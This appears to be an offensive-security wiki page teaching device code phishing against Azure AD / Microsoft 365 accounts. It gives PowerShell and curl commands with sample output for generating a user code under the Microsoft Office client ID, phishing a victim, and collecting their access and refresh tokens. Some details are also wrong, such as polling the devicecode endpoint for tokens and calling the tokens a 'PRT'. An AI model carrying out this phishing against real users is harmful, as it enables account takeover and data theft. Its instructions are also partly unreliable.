Abusing Device Code Authentication

Device Code Authentication allows to compromise a AAD / M365 account just like OAuth Abuse but it's generally harder to detect / set up and doesn't require any input from the victim. The downside to this technique is that the device codes are valid for only a brief period of time (like 15 - 20 minutes) but since the attack allows to get a full PRT (access token + refresh token) it's possible to refresh the tokens for prolonged access.

To perform this attack we need to generate a URL to phish the user with using this endpoint (https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0).

For example, if we wanted to generate a link to phish for MS Graph access, the setup would look like something like this

PS /home/otter> $body=@{
>> "client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
>> "resource" = "https://graph.microsoft.com"
>> }
PS /home/otter> $authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" -Body $body
PS /home/otter> $authResponse

user_code        : DQ3XNJXQS
device_code      : DAQABIQEAAADnfolhJpSnRYB1SVj-Hgd8UGlgrzcx_dLPNZrsSg2n7s2cJ7NUwT6Or8qUm8WorQnuVlGKVyavcbWqb1WG6kXei2J6-bmJt1OcBJslnUrIt5yhyb_bGqaaMpb2CdLPNSsqU-vJcnwyHqJrw40FWX_q46ydAuxVU8i4Qbnj6Ruo9qYKd7GWdaG1a4FDLI4Cc3UgAA
verification_url : https://microsoft.com/devicelogin
expires_in       : 900
interval         : 5
message          : To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DQ3XNJXQS to authenticate.

In this case we used a client_id of Microsoft Office to which corresponds to Microsoft Office as listed here but we can pick a different application to "disguise" our request as.

Now the attacker can send a phishing email using a template like this one to try and get the victim's access token. Mind that you have to replace the code shown in the email (USER_CODE on line 223 of the gist) with the user_code you got during the setup process.

This technique can prove to be extremely effective as the user only visits legitimate Microsoft endpoints.

Once the victim follows the instructions in the email, we'll be able to send a POST request to the https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0 endpoint with the following data:

  • client_id

  • resource

  • grant_type

  • code

~ ∮ curl \
> --data client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c \
> --data resource=https://graph.microsoft.com \
> --data grant_type=ietf:params:oauth:grant_type:device_code \
> --data code=DAQABIQEAAADnfolhJpSnRYB1SVj-Hgd8UGlgrzcx_dLPNZrsSg2n7s2cJ7NUwT6Or8qUm8WorQnuVlGKVyavcbWqb1WG6kXei2J6-bmJt1OcBJslnUrIt5yhyb_bGqaaMpb2CdLPNSsqU-vJcnwyHqJrw40FWX_q46ydAuxVU8i4Qbnj6Ruo9qYKd7GWdaG1a4FDLI4Cc3UgAA \
> 'https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0'

If a user has successfully authenticated to this endpoint with our user code we'll be able to get a full PRT (both access and refresh tokens) in the request's output.

The PRT can then be used in requests based on the scope of the token itself just by adding a authentication header

...
Authorization: Bearer <PRT>
...

Last updated